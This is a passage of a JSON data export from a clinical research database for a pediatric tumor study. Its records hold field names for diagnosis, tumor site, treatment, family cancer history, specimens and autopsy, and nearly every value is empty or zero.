ype_cancer___1":"","paternal_father_type_cancer___2":"","paternal_father_type_cancer___3":"","paternal_father_type_cancer___4":"","paternal_father_type_cancer___5":"","paternal_father_type_cancer___6":"","paternal_father_type_cancer___7":"","paternal_father_type_cancer___8":"","paternal_father_type_cancer___9":"","paternal_father_type_cancer___10":"","paternal_father_type_cancer___11":"","paternal_father_type_cancer___12":"","paternal_father_type_cancer___13":"","paternal_father_type_cancer___14":"","paternal_father_type_cancer___15":"","paternal_father_type_cancer___16":"","paternal_father_type_cancer___17":"","paternal_father_descrip_other":"","other_what_type_of_cancer___1":"","other_what_type_of_cancer___2":"","other_what_type_of_cancer___3":"","other_what_type_of_cancer___4":"","other_what_type_of_cancer___5":"","other_what_type_of_cancer___6":"","other_what_type_of_cancer___7":"","other_what_type_of_cancer___8":"","other_what_type_of_cancer___9":"","other_what_type_of_cancer___10":"","other_what_type_of_cancer___11":"","other_what_type_of_cancer___12":"","other_what_type_of_cancer___13":"","other_what_type_of_cancer___14":"","other_what_type_of_cancer___15":"","other_what_type_of_cancer___16":"","other_what_type_of_cancer___17":"","other_description_of_other":"","unspecified_what_type_cancer___1":"","unspecified_what_type_cancer___2":"","unspecified_what_type_cancer___3":"","unspecified_what_type_cancer___4":"","unspecified_what_type_cancer___5":"","unspecified_what_type_cancer___6":"","unspecified_what_type_cancer___7":"","unspecified_what_type_cancer___8":"","unspecified_what_type_cancer___9":"","unspecified_what_type_cancer___10":"","unspecified_what_type_cancer___11":"","unspecified_what_type_cancer___12":"","unspecified_what_type_cancer___13":"","unspecified_what_type_cancer___14":"","unspecified_what_type_cancer___15":"","unspecified_what_type_cancer___16":"","unspecified_what_type_cancer___17":"","unspecified_des_other_type":"","form_status_mh":"","medical_history_complete":"","enrollment_type2":"","specimen_form_complete":"","specimen_collection_date":"","specimen_type___1":"","specimen_type___2":"","specimen_type___3":"","specimen_type___4":"","specimen_type___5":"","specimen_type___6":"","specimen_type___7":"","collection_tx_status":"","form_status_so":"","specimen_only_complete":"","recurrent":"","if_recurrent_please_descri":"","relapse_number":"","recurr_date_ofl_diagn2_c7b":"","subject_age_at_recurrence":"","path_diag2_605":"","recur_path_diag2_c0e___1":"","recur_path_diag2_c0e___17":"","recur_path_diag2_c0e___2":"","recur_path_diag2_c0e___3":"","recur_path_diag2_c0e___18":"","recur_path_diag2_c0e___5":"","recur_path_diag2_c0e___6":"","recur_path_diag2_c0e___7":"","recur_path_diag2_c0e___8":"","recur_path_diag2_c0e___19":"","recur_path_diag2_c0e___20":"","recur_path_diag2_c0e___21":"","recur_path_diag2_c0e___22":"","recur_path_diag2_c0e___10":"","recur_path_diag2_c0e___11":"","recur_path_diag2_c0e___12":"","recur_path_diag2_c0e___15":"","recur_path_diag2_c0e___16":"","recur_path_diag2_c0e___23":"","recur_path_diag2_c0e___24":"","recur_path_diag2_c0e___25":"","recur_path_diag2_c0e___26":"","recur_path_diag2_c0e___27":"","recur_path_diag2_c0e___28":"","recur_path_diag2_c0e___29":"","recur_path_diag2_c0e___30":"","recur_path_diag2_c0e___31":"","recur_path_diag2_c0e___14":"","diag_other2_cf02_e7a":"","operations_center_pat2_686":"","tumor_primary_locatio2_533___1":"","tumor_primary_locatio2_533___2":"","tumor_primary_locatio2_533___3":"","tumor_primary_locatio2_533___4":"","tumor_primary_locatio2_533___5":"","tumor_primary_locatio2_533___6":"","tumor_primary_locatio2_533___7":"","tumor_primary_locatio2_533___8":"","tumor_primary_locatio2_533___9":"","tumor_primary_locatio2_533___10":"","tumor_primary_locatio2_533___11":"","tumor_primary_locatio2_533___12":"","tumor_primary_locatio2_533___13":"","tumor_primary_locatio2_533___14":"","tumor_primary_locatio2_533___15":"","tumor_primary_locatio2_533___16":"","tumor_primary_locatio2_533___17":"","tumor_primary_locatio2_533___18":"","tumor_primary_locatio2_533___19":"","diag_other2_cf02_e7a2_a55":"","tumor_resection_exten2_7e9":"","metas_at_init_diag_desc":"","metas_at_submit":"","metas_at_submit_other":"","initial_data_form_old_complete":"","update_type":"","monitor_only":"","monitor_only_after_surgery":"","tumor_status":"","path_diag2_6052_f19":"","recur_path_diag2_c0e2_575___1":"0","recur_path_diag2_c0e2_575___17":"0","recur_path_diag2_c0e2_575___2":"0","recur_path_diag2_c0e2_575___3":"0","recur_path_diag2_c0e2_575___18":"0","recur_path_diag2_c0e2_575___5":"0","recur_path_diag2_c0e2_575___6":"0","recur_path_diag2_c0e2_575___7":"0","recur_path_diag2_c0e2_575___8":"0","recur_path_diag2_c0e2_575___19":"0","recur_path_diag2_c0e2_575___20":"0","recur_path_diag2_c0e2_575___21":"0","recur_path_diag2_c0e2_575___22":"0","recur_path_diag2_c0e2_575___10":"0","recur_path_diag2_c0e2_575___11":"0","recur_path_diag2_c0e2_575___12":"0","recur_path_diag2_c0e2_575___15":"0","recur_path_diag2_c0e2_575___16":"0","recur_path_diag2_c0e2_575___23":"0","recur_path_diag2_c0e2_575___24":"0","recur_path_diag2_c0e2_575___25":"0","recur_path_diag2_c0e2_575___26":"0","recur_path_diag2_c0e2_575___27":"0","recur_path_diag2_c0e2_575___28":"0","recur_path_diag2_c0e2_575___29":"0","recur_path_diag2_c0e2_575___30":"0","recur_path_diag2_c0e2_575___31":"0","recur_path_diag2_c0e2_575___14":"0","if_other_describe":"","operations_center_pat2_97f":"","tumor_primary_locatio2_f42___1":"0","tumor_primary_locatio2_f42___2":"0","tumor_primary_locatio2_f42___3":"0","tumor_primary_locatio2_f42___4":"0","tumor_primary_locatio2_f42___5":"0","tumor_primary_locatio2_f42___6":"0","tumor_primary_locatio2_f42___7":"0","tumor_primary_locatio2_f42___8":"0","tumor_primary_locatio2_f42___9":"0","tumor_primary_locatio2_f42___10":"0","tumor_primary_locatio2_f42___11":"0","tumor_primary_locatio2_f42___12":"0","tumor_primary_locatio2_f42___13":"0","tumor_primary_locatio2_f42___14":"0","tumor_primary_locatio2_f42___15":"0","tumor_primary_locatio2_f42___16":"0","tumor_primary_locatio2_f42___17":"0","tumor_primary_locatio2_f42___18":"0","tumor_primary_locatio2_f42___19":"0","if_other_describe_tl":"","tumor_resection_exten2_207":"","time_surg_prog":"","subject_age_at_recurr2_c64":"","meta_site___1":"0","meta_site___2":"0","meta_site___3":"0","meta_site___4":"0","otherdescrip":"","if_no_why":"","was_a_new_treatment_plan_i":"","why_was_new_treatment_init___1":"0","why_was_new_treatment_init___2":"0","why_was_new_treatment_init___3":"0","why_was_new_treatment_init___4":"0","new_tumor_treat2_b8b___4":"0","new_tumor_treat2_b8b___0":"0","new_tumor_treat2_b8b___1":"0","new_tumor_treat2_b8b___2":"0","new_tumor_treat2_b8b___5":"0","new_tumor_treat2_b8b___3":"0","if_other_describe_ntt":"","rad_final_dose2_cd4":"","rad_sites2_3b0":"","planned_chemo_agents2_3b0":"","therapy_desc2_05a":"","describe_study_protoc2_eb1":"","additional_tumor_molecular___1":"0","additional_tumor_molecular___2":"0","additional_tumor_molecular___3":"0","additional_tumor_molecular___4":"0","additional_tumor_molecular___5":"0","additional_tumor_molecular___6":"0","if_other_describe_att":"","test_results":"","other_status":"","reason_visit_not_completed":"1","updates_data_old_complete":"0","date_tissue_1_submitted":"","collectiontime":"","volume1":"","tissue_format1":"","date_tissue_2_submitted":"","collectiontime2_017":"","volume2":"","tissue_format2":"","date_tissue_3_submitted":"","collectiontime2_0172_40f":"","volume3":"","tissue_format3":"","date_tissue_4_submitted":"","collectiontime2_0172_2_83e":"","volume4":"","tissue_format4":"","date_tissue_5_submitted":"","collectiontime2_0172_2_e27":"","volume5":"","tissue_forma5":"","date_tissue_6_submitted":"","collectiontime2_0172_2_e9a":"","volume6":"","tissue_format6":"","date_tissue_7_submitted":"","collectiontime2_0172_2_441":"","volume62_146":"","tissue_format62_a87":"","date_tissue_8_submitted":"","collectiontime2_0172_2_f7f":"","volume62_1462_7bd":"","tissue_format62_a872_ab9":"","other_notes":"","numsamples":"","sampledate":"","date_of_child_blood_submis":"","samplevolume1":"","date_of_child_blood_s2_cb6":"","sampledate2_b77":"","samplevolume2":"","dateparentsample":"","date_paternal_blood_submit":"","parentsamplevol1":"","dateparentsample2_20e":"","date_maternal_blood_submit":"","parentsamplevol2":"","slide_format___1":"","slide_format___2":"","slide_format___3":"","numbers_of_slides":"","describe_stains_used_on_sl":"","date_slide_images_submitte":"","csfcollectiondate":"","csf_1_submission_date":"","csf_counts":"","csfvolume1":"","csfcollectiondate2_36a":"","csf_2_submission_date":"","csf_counts2_540":"","csfvolume2":"","csfcollectiondate2_362_09a":"","cfs_3_submission_date":"","csf_counts2_b0a":"","csfvolume22_930":"","please_use_this_area_to_do":"","specimen_information_form_complete":"","autopsy_type":"","autop_subj_age":"","time_init_diag_to_death":"","autop_gentest_results":"","update_type_autopsy":"","autop_relapse_death":"","autop_death_tumor":"","autop_report_status":"","autopsy_updates_data_old_complete":"","family_members":"","medical_history_form_old_complete":"","rad_sites":"","planned_rad_dose":"","planned_fractions":"","completed_fractions":"","like_protocol":"","describe_study_protocol":"","num_planned_cycles":"","num_completed_cycles":"","other_therapy":"","other_therapy_desc":"","on_study_protocol":"","arm_random":"","rad_sites_defined___1":"","rad_sites_defined___2":"","rad_sites_defined___3":"","rad_sites_defined___4":"","rad_sites_defined___5":"","rad_sites_defined___6":"","rad_sites_defined___7":"","treatment_form_old_complete":"","tumor_or_molecular_tests_d___1":"","tumor_or_molecular_tests_d___2":"","tumor_or_molecular_tests_d___3":"","tumor_or_molecular_tests_d___4":"","tumor_or_molecular_tests_d___5":"","tumor_or_molecular_tests_d___6":"","tumor_or_molecular_tests_d___7":"","diagnosis_form_old_complete":""},{"study_id":"YU80UHY3I10CBT6X:T7S9TDGK1","redcap_event_name":"48_month_update_arm_1","enrollment_type":"","autop_form_complete":"","general_comm_diagnosis":"","clinical_status_at_diagnosis":"","autop_cause_death":"","autopsy":"","diagnosis_type":"","other_med_condition___1":"","other_med_condition___2":"","other_med_condition___3":"","other_med_condition___4":"","other_med_condition___5":"","other_med_condition___6":"","other_med_condition___7":"","other_med_condition___8":"","other_med_condition___9":"","other_med_condition___10":"","other_med_condition___11":"","other_med_condition___12":"","describe":"","vps_etv":"","date_of_initial_diagnosis":"","operations_center_patholog":"","path_diag":"","init_path_diag___1":"","init_path_diag___17":"","init_path_diag___2":"","init_path_diag___3":"","init_path_diag___18":"","init_path_diag___5":"","init_path_diag___6":"","init_path_diag___7":"","init_path_diag___8":"","init_path_diag___19":"","init_path_diag___20":"","init_path_diag___21":"","init_path_diag___22":"","init_path_diag___10":"","init_path_diag___11":"","init_path_diag___12":"","init_path_diag___15":"","init_path_diag___16":"","init_path_diag___23":"","init_path_diag___24":"","init_path_diag___25":"","init_path_diag___26":"","init_path_diag___27":"","init_path_diag___28":"","init_path_diag___29":"","init_path_diag___30":"","init_path_diag___31":"","init_path_diag___14":"","init_path_diag___32":"","init_path_diag___33":"","init_path_diag___34":"","init_path_diag___35":"","init_path_diag___36":"","diag_other":"","tumor_primary_location_in___1":"","tumor_primary_location_in___2":"","tumor_primary_location_in___3":"","tumor_primary_location_in___4":"","tumor_primary_location_in___5":"","tumor_primary_location_in___6":"","tumor_primary_location_in___7":"","tumor_primary_location_in___8":"","tumor_primary_location_in___9":"","tumor_primary_location_in___10":"","tumor_primary_location_in___11":"","tumor_primary_location_in___12":"","tumor_primary_location_in___13":"","tumor_primary_location_in___14":"","tumor_primary_location_in___15":"","tumor_primary_location_in___16":"","tumor_primary_location_in___17":"","tumor_primary_location_in___18":"","tumor_primary_location_in___19":"","tumor_primary_location_in___20":"","tumor_primary_location_in___21":"","tumor_primary_location_in___22":"","tumor_primary_location_in___23":"","diag_other2_cf0":"","metas_at_init_diag":"","metas_at_submit_site___0":"","metas_at_submit_site___1":"","metas_at_submit_site___2":"","metas_at_submit_site___3":"","metas_at_submit_site___4":"","metas_at_submit_site___5":"","if_other_describe_metatases_sites":"","site_prog":"","time_to_prog":"","relapse_number2_7d6":"","time_surg_prog2_a49":"","tumor_or_molecular_tests___1":"","tumor_or_molecular_tests___2":"","tumor_or_molecular_tests___3":"","tumor_or_molecular_tests___4":"","tumor_or_molecular_tests___8":"","tumor_or_molecular_tests___9":"","tumor_or_molecular_tests___10":"","tumor_or_molecular_tests___5":"","tumor_or_molecular_tests___6":"","des_tests":"","path_test_avail":"","form_status_dx":"","age":"","diagnosis_form_complete":"","date_form_completed_up":"2016-04-19","follow_up_visit_status":"2","reason_for_no_visit":"1","date_of_visit_follow_up":"","clin_status":"","tumor_status2":"","relapse_death":"","diag_death":"","cause_death":"","coordinator_notes":"","form_status_u":"","subj_age":"","updates_data_form_complete":"0","treatment_status":"5","treatment_update_due_to":"","surgery":"","tumor_resection_extent":"","specimen_to_cbttc":"","sample_origin":"","radiation":"","start_date_rad":"","start_date_rad_unavail":"","stop_date_rad":"","stop_date_rad_unavail":"","rad_site":"","other_type_describe":"","rad_final_dose":"","csi_focal_dose":"","radiation_type___1":"0","radiation_type___2":"0","radiation_type___3":"0","radiation_type___4":"0","radiation_type___5":"0","radiation_type___6":"0","other_type":"","description_of_radiation_t":"","chemo":"","chemo_type":"","like_protocol_name":"","start_date_chemo":"","start_date_chemo_unavail":"","stop_date_chemo":"","stop_date_chemo_unavail":"","planned_chemo_agents":"","description_of_chemotherap":"","asct":"","treatment_complete":"","form_status_t":"","treatment_form_complete":"0","formstatus_demo":"","date_form_completed":"","general_comments":"","gender":"","subject_ethnicity":"","race___1":"","race___2":"","race___3":"","race___4":"","race___5":"","race___7":"","form_status_dm":"","demographics_form_complete":"","formstatus_medhis":"","canc_predisp_condition___1":"","canc_predisp_condition___2":"","canc_predisp_condition___3":"","canc_predisp_condition___4":"","canc_predisp_condition___5":"","canc_predisp_condition___6":"","canc_predisp_condition___7":"","describe_predis":"","germline":"","results_available":"","cancer_predis_relative":"","family_history":"","family_member___1":"","family_member___2":"","family_member___3":"","family_member___4":"","family_member___5":"","family_member___6":"","family_member___7":"","family_member___8":"","family_member___9":"","family_member___10":"","family_member___11":"","other_family_history":"","cancer_type___1":"","cancer_type___2":"","cancer_type___3":"","cancer_type___4":"","cancer_type___5":"","cancer_type___6":"","cancer_type___7":"","cancer_type___8":"","cancer_type___9":"","cancer_type___10":"","cancer_type___11":"","cancer_type___12":"","cancer_type___13":"","cancer_type___14":"","cancer_type___15":"","cancer_type___16":"","cancer_type___17":"","other_description":"","father_what_type_of_cancer___1":"","father_what_type_of_cancer___2":"","father_what_type_of_cancer___3":"","father_what_type_of_cancer___4":"","father_what_type_of_cancer___5":"","father_what_type_of_cancer___6":"","father_what_type_of_cancer___7":"","father_what_type_of_cancer___8":"","father_what_type_of_cancer___9":"","father_what_type_of_cancer___10":"","father_what_type_of_cancer___11":"","father_what_type_of_cancer___12":"","father_what_type_of_cancer___13":"","father_what_type_of_cancer___14":"","father_what_type_of_cancer___15":"","father_what_type_of_cancer___16":"","father_what_type_of_cancer___17":"","father_description_of_othe":"","sister_what_type_of_cancer___1":"","sister_what_type_of_cancer___2":"","sister_what_type_of_cancer___3":"","sister_what_type_of_cancer___4":"","sister_what_type_of_cancer___5":"","sister_what_type_of_cancer___6":"","sister_what_type_of_cancer___7":"","sister_what_type_of_cancer___8":"","sister_what_type_of_cancer___9":"","sister_what_type_of_cancer___10":"","sister_what_type_of_cancer___11":"","sister_what_type_of_cancer___12":"","sister_what_type_of_cancer___13":"","sister_what_type_of_cancer___14":"","sister_what_type_of_cancer___15":"","sister_what_type_of_cancer___16":"","sister_what_type_of_cancer___17":"","sister_description_of_othe":"","brother_what_type_of_cance___1":"","brother_what_type_of_cance___2":"","brother_what_type_of_cance___3":"","brother_what_type_of_cance___4":"","brother_what_type_of_cance___5":"","brother_what_type_of_cance___6":"","brother_what_type_of_cance___7":"","brother_what_type_of_cance___8":"","brother_what_type_of_cance___9":"","brother_what_type_of_cance___10":"","brother_what_type_of_cance___11":"","brother_what_type_of_cance___12":"","brother_what_type_of_cance___13":"","brother_what_type_of_cance___14":"","brother_what_type_of_cance___15":"","brother_what_type_of_cance___16":"","brother_what_type_of_cance___17":"","brother_description_of_oth":"","maternal_grandmother_what___1":"","maternal_grandmother_what___2":"","maternal_grandmother_what___3":"","maternal_grandmother_what___4":"","maternal_grandmother_what___5":"","maternal_grandmother_what___6":"","maternal_grandmother_what___7":"","maternal_grandmother_what___8":"","maternal_grandmother_what___9":"","maternal_grandmother_what___10":"","maternal_grandmother_what___11":"","maternal_grandmother_what___12":"","maternal_grandmother_what___13":"","maternal_grandmother_what___14":"","maternal_grandmother_what___15":"","maternal_grandmother_what___16":"","maternal_grandmother_what___17":"","maternal_grandmother_descr":"","maternal_father_cancer_type___1":"","maternal_father_cancer_type___2":"","maternal_father_cancer_type___3":"","maternal_father_cancer_type___4":"","maternal_father_cancer_type___5":"","maternal_father_cancer_type___6":"","maternal_father_cancer_type___7":"","maternal_father_cancer_type___8":"","maternal_father_cancer_type___9":"","maternal_father_cancer_type___10":"","maternal_father_cancer_type___11":"","maternal_father_cancer_type___12":"","maternal_father_cancer_type___13":"","maternal_father_cancer_type___14":"","maternal_father_cancer_type___15":"","maternal_father_cancer_type___16":"","maternal_father_cancer_type___17":"","maternal_father_descrip_other":"","paternal_mother_cancer_type___1":"","paternal_mother_cancer_type___2":"","paternal_mother_cancer_type___3":"","paternal_mother_cancer_type___4":"","paternal_mother_cancer_type___5":"","paternal_mother_cancer_type___6":"","paternal_mother_cancer_type___7":"","paternal_mother_cancer_type___8":"","paternal_mother_cancer_type___9":"","paternal_mother_cancer_type___10":"","paternal_mother_cancer_type___11":"","paternal_mother_cancer_type___12":"","paternal_mother_cancer_type___13":"","paternal_mother_cancer_type___14":"","paternal_mother_cancer_type___15":"","paternal_mother_cancer_type___16":"","paternal_mother_cancer_type___17":"","paternal_mother_descrip_other":"","paternal_father_type_cancer___1":"","paternal_father_type_cancer___2":"","paternal_father_type_cancer___3":"","paternal_father_type_cancer___4":"","paternal_father_type_cancer___5":"","paternal_father_type_cancer___6":"","paternal_father_type_cancer___7":"","paternal_father_type_cancer___8":"","paternal_father_type_cancer___9":"","paternal_father_type_cancer___10":"","paternal_father_type_cancer___11":"","paternal_father_type_cancer___12":"","paternal_father_type_cancer___13":"","paternal_father_type_cancer___14":"","paternal_father_type_cancer___15":"","paternal_father_type_cancer___16":"","paternal_father_type_cancer___17":"","paternal_father_descrip_other":"","other_what_type_of_cancer___1":"","other_what_type_of_cancer___2":"","other_what_type_of_cancer___3":"","other_what_type_of_cancer___4":"","other_what_type_of_cancer___5":"","other_what_type_of_cancer___6":"","other_what_type_of_cancer___7":"","other_what_type_of_cancer___8":"","other_what_type_of_cancer___9":"","other_what_type_of_cancer___10":"","other_what_type_of_cancer___11":"","other_what_type_of_cancer___12":"","other_what_type_of_cancer___13":"","other_what_type_of_cancer___14":"","other_what_type_of_cancer___15":"","other_what_type_of_cancer___16":"","other_what_type_of_cancer___17":"","other_description_of_other":"","unspecified_what_type_cancer___1":"","unspecified_what_type_cancer___2":"","unspecified_what_type_cancer___3":"","unspecified_what_type_cancer___4":"","unspecified_what_type_cancer___5":"","unspecified_what_type_cancer___6":"","unspecified_what_type_cancer___7":"","unspecified_what_type_cancer___8":"","unspecified_what_type_cancer___9":"","unspecified_what_type_cancer___10":"","unspecified_what_type_cancer___11":"","unspecified_what_type_cancer___12":"","unspecified_what_type_cancer___13":"","unspecified_what_type_cancer___14":"","unspecified_what_type_cancer___15":"","unspecified_what_type_cancer___16":"","unspecified_what_type_cancer___17":"","unspecified_des_other_type":"","form_status_mh":"","medical_history_complete":"","enrollment_type2":"","specimen_form_complete":"","specimen_collection_date":"","specimen_type___1":"","specimen_type___2":"","specimen_type___3":"","specimen_type___4":"","specimen_type___5":"","specimen_type___6":"","specimen_type___7":"","collection_tx_status":"","form_status_so":"","specimen_only_complete":"","recurrent":"","if_recurrent_please_descri":"","relapse_number":"","recurr_date_ofl_diagn2_c7b":"","subject_age_at_recurrence":"","path_diag2_605":"","recur_path_diag2_c0e___1":"","recur_path_diag2_c0e___17":"","recur_path_diag2_c0e___2":"","recur_path_diag2_c0e___3":"","recur_path_diag2_c0e___18":"","recur_path_diag2_c0e___5":"","recur_path_diag2_c0e___6":"","recur_path_diag2_c0e___7":"","recur_path_diag2_c0e___8":"","recur_path_diag2_c0e___19":"","recur_path_diag2_c0e___20":"","recur_path_diag2_c0e___21":"","recur_path_diag2_c0e___22":"","recur_path_diag2_c0e___10":"","recur_path_diag2_c0e___11":"","recur_path_diag2_c0e___12":"","recur_path_diag2_c0e___15":"","recur_path_diag2_c0e___16":"","recur_path_diag2_c0e___23":"","recur_path_diag2_c0e___24":"","recur_path_diag2_c0e___25":"","recur_path_diag2_c0e___26":"","recur_path_diag2_c0e___27":"","recur_path_diag2_c0e___28":"","recur_path_diag2_c0e___29":"","recur_path_diag2_c0e___30":"","recur_path_diag2_c0e___31":"","recur_path_diag2_c0e___14":"","diag_other2_cf02_e7a":"","operations_center_pat2_686":"","tumor_primary_locatio2_533___1":"","tumor_primary_locatio2_533___2":"","tumor_primary_locatio2_533___3":"","tumor_primary_locatio2_533___4":"","tumor_primary_locatio2_533___5":"","tumor_primary_locatio2_533___6":"","tumor_primary_locatio2_533___7":"","tumor_primary_locatio2_533___8":"","tumor_primary_locatio2_533___9":"","tumor_primary_locatio2_533___10":"","tumor_primary_locatio2_533___11":"","tumor_primary_locatio2_533___12":"","tumor_primary_locatio2_533___13":"","tumor_primary_locatio2_533___14":"","tumor_primary_locatio2_533___15":"","tumor_primary_locatio2_533___16":"","tumor_primary_locatio2_533___17":"","tumor_primary_locatio2_533___18":"","tumor_primary_locatio2_533___19":"","diag_other2_cf02_e7a2_a55":"","tumor_resection_exten2_7e9":"","metas_at_init_diag_desc":"","metas_at_submit":"","metas_at_submit_other":"","initial_data_form_old_complete":"","update_type":"","monitor_only":"","monitor_only_after_surgery":"","tumor_status":"","path_diag2_6052_f19":"","recur_path_diag2_c0e2_575___1":"0","recur_path_diag2_c0e2_575___17":"0","recur_path_diag2_c0e2_575___2":"0","recur_path_diag2_c0e2_575___3":"0","recur_path_diag2_c0e2_575___18":"0","recur_path_diag2_c0e2_575___5":"0","recur_path_diag2_c0e2_575___6":"0","recur_path_diag2_c0e2_575___7":"0","recur_path_diag2_c0e2_575___8":"0","recur_path_diag2_c0e2_575___19":"0","recur_path_diag2_c0e2_575___20":"0","recur_path_diag2_c0e2_575___21":"0","recur_path_diag2_c0e2_575___22":"0","recur_path_diag2_c0e2_575___10":"0","recur_path_diag2_c0e2_575___11":"0","recur_path_diag2_c0e2_575___12":"0","recur_path_diag2_c0e2_575___15":"0","recur_path_diag2_c0e2_575___16":"0","recur_path_diag2_c0e2_575___23":"0","recur_path_diag2_c0e2_575___24":"0","recur_path_diag2_c0e2_575___25":"0","recur_path_diag2_c0e2_575___26":"0","recur_path_diag2_c0e2_575___27":"0","recur_path_diag2_c0e2_575___28":"0","recur_path_diag2_c0e2_575___29":"0","recur_path_diag2_c0e2_575___30":"0","recur_path_diag2_c0e2_575___31":"0","recur_path_diag2_c0e2_575___14":"0","if_other_describe":"","operations_center_pat2_97f":"","tumor_primary_locatio2_f42___1":"0","tumor_primary_locatio2_f42___2":"0","tumor_primary_locatio2_f42___3":"0","tumor_primary_locatio2_f42___4":"0","tumor_primary_locatio2_f42___5":"0","tumor_primary_locatio2_f42___6":"0","tumor_primary_locatio2_f42___7":"0","tumor_primary_locatio2_f42___8":"0","tumor_primary_locatio2_f42___9":"0","tumor_primary_locatio2_f42___10":"0","tumor_primary_locatio2_f42___11":"0","tumor_primary_locatio2_f42___12":"0","tumor_primary_locatio2_f42___13":"0","tumor_primary_locatio2_f42___14":"0","tumor_primary_locatio2_f42___15":"0","tumor_primary_locatio2_f42___16":"0","tumor_primary_locatio2_f42___17":"0","tumor_primary_locatio2_f42___18":"0","tumor_primary_locatio2_f42___19":"0","if_other_describe_tl":"","tumor_resection_exten2_207":"","time_surg_prog":"","subject_age_at_recurr2_c64":"","meta_site___1":"0","meta_site___2":"0","meta_site___3":"0","meta_site___4":"0","otherdescrip":"","if_no_why":"","was_a_new_treatment_plan_i":"","why_was_new_treatment_init___1":"0","why_was_new_treatment_init___2":"0","why_was_new_treatment_init___3":"0","why_was_new_treatment_init___4":"0","new_tumor_treat2_b8b___4":"0","new_tumor_treat2_b8b___0":"0","new_tumor_treat2_b8b___1":"0","new_tumor_treat2_b8b___2":"0","new_tumor_treat2_b8b___5":"0","new_tumor_treat2_b8b___3":"0","if_other_describe_ntt":"","rad_final_dose2_cd4":"","rad_sites2_3b0":"","planned_chemo_agents2_3b0":"","therapy_desc2_05a":"","describe_study_protoc2_eb1":"","additional_tumor_molecular___1":"0","additional_tumor_molecular___2":"0","additional_tumor_molecular___3":"0","additional_tumor_molecular___4":"0","additional_tumor_molecular___5":"0","additional_tumor_molecular___6":"0","if_other_describe_att":"","test_results":"","other_status":"","reason_visit_not_completed":"","updates_data_old_complete":"0","date_tissue_1_submitted":"","collectiontime":"","volume1":"","tissue_format1":"","date_tissue_2_submitted":"","collectiontime2_017":"","volume2":"","tissue_format2":"","date_tissue_3_submitted":"","collectiontime2_0172_40f":"","volume3":"","tissue_format3":"","date_tissue_4_submitted":"","collectiontime2_0172_2_83e":"","volume4":"","tissue_format4":"","date_tissue_5_submitted":"","collectiontime2_0172_2_e27":"","volume5":"","tissue_forma5":"","date_tissue_6_submitted":"","collectiontime2_0172_2_e9a":"","volume6":"","tissue_format6":"","date_tissue_7_submitted":"","collectiontime2_0172_2_441":"","volume62_146":"","tissue_format62_a87":"","date_tissue_8_submitted":"","collectiontime2_0172_2_f7f":"","volume62_1462_7bd":"","tissue_format62_a872_ab9":"","other_notes":"","numsamples":"","sampledate":"","date_of_child_blood_submis":"","samplevolume1":"","date_of_child_blood_s2_cb6":"","sampledate2_b77":"","samplevolume2":"","dateparentsample":"","date_paternal_blood_submit":"","parentsamplevol1":"","dateparentsample2_20e":"","date_maternal_blood_submit":"","parentsamplevol2":"","slide_format___1":"","slide_format___2":"","slide_format___3":"","numbers_of_slides":"","describe_stains_used_on_sl":"","date_slide_images_submitte":"","csfcollectiondate":"","csf_1_submission_date":"","csf_counts":"","csfvolume1":"","csfcollectiondate2_36a":"","csf_2_submission_date":"","csf_counts2_540":"","csfvolume2":"","csfcollectiondate2_362_09a":"","cfs_3_submission_date":"","csf_counts2_b0a":"","csfvolume22_930":"","please_use_this_area_to_do":"","specimen_information_form_complete":"","autopsy_type":"","autop_subj_age":"","time_init_diag_to_death":"","autop_gentest_results":"","update_type_autopsy":"","autop_relapse_death":"","autop_death_tumor":"","autop_report_status":"","autopsy_updates_data_old_complete":"","family_members":"","medical_history_form_old_complete":"","rad_sites":"","planned_rad_dose":"","planned_fractions":"","completed_fractions":"","like_protocol":"","describe_study_protocol":"","num_planned_cycles":"","num_completed_cycles":"","other_therapy":"","other_therapy_desc":"","on_study_protocol":"","arm_random":"","rad_sites_defined___1":"","rad_sites_defined___2":"","rad_sites_defined___3":"","rad_sites_defined___4":"","rad_sites_defined___5":"","rad_sites_defined___6":"","rad_sites_defined___7":"","treatment_form_old_complete":"","tumor_or_molecular_tests_d___1":"","tumor_or_molecular_tests_d___2":"","tumor_or_molecular_tests_d___3":"","tumor_or_molecular_tests_d___4":"","tumor_or_molecular_tests_d___5":"","tumor_or_molecular_tests_d___6":"","tumor_or_molecular_tests_d___7":"","diagnosis_form_old_complete":""},{"study_id":"YU80UHY3I10CBT6X:T7S9TDGK1","redcap_event_name":"demographics_arm_1","enrollment_type":"","autop_form_complete":"","general_comm_diagnosis":"","clinical_status_at_diagnosis":"","autop_cause_death":"","autopsy":"","diagnosis_type":"","other_med_condition___1":"","other_med_condition___2":"","other_med_condition___3":"","other_med_condition___4":"","other_med_condition___5":"","other_med_condition___6":"","other_med_condition___7":"","other_med_condition___8":"","other_med_condition___9":"","other_med_condition___10":"","other_med_condition___11":"","other_med_condition___12":"","describe":"","vps_etv":"","date_of_initial_diagnosis":"","operations_center_patholog":"","path_diag":"","init_path_diag___1":"","init_path_diag___17":"","init_path_diag___2":"","init_path_diag___3":"","init_path_diag___18":"","init_path_diag___5":"","init_path_diag___6":"","init_path_diag___7":"","init_path_diag___8":"","init_path_diag___19":"","init_path_diag___20":"","init_path_diag___21":"","init_path_diag___22":"","init_path_diag___10":"","init_path_diag___11":"","init_path_diag___12":"","init_path_diag___15":"","init_path_diag___16":"","init_path_diag___23":"","init_path_diag___24":"","init_path_diag___25":"","init_path_diag___26":"","init_path_diag___27":"","init_path_diag___28":"","init_path_diag___29":"","init_path_diag___30":"","init_path_diag___31":"","init_path_diag___14":"","init_path_diag___32":"","init_path_diag___33":"","init_path_diag___34":"","init_path_diag___35":"","init_path_diag___36":"","diag_other":"","tumor_primary_location_in___1":"","tumor_primary_location_in___2":"","tumor_primary_location_in___3":"","tumor_primary_location_in___4":"","tumor_primary_location_in___5":"","tumor_primary_location_in___6":"","tumor_primary_location_in___7":"","tumor_primary_location_in___8":"","tumor_primary_location_in___9":"","tumor_primary_location_in___10":"","tumor_primary_location_in___11":"","tumor_primary_location_in___12":"","tumor_primary_location_in___13":"","tumor_primary_location_in___14":"","tumor_primary_location_in___15":"","tumor_primary_location_in___16":"","tumor_primary_location_in___17":"","tumor_primary_location_in___18":"","tumor_primary_location_in___19":"","tumor_primary_location_in___20":"","tumor_primary_location_in___21":"","tumor_primary_location_in___22":"","tumor_primary_location_in___23":"","diag_other2_cf0":"","metas_at_init_diag":"","metas_at_submit_site___0":"","metas_at_submit_site___1":"","metas_at_submit_site___2":"","metas_at_submit_site___3":"","metas_at_submit_site___4":"","metas_at_submit_site___5":"","if_other_describe_metatases_sites":"","site_prog":"","time_to_prog":"","relapse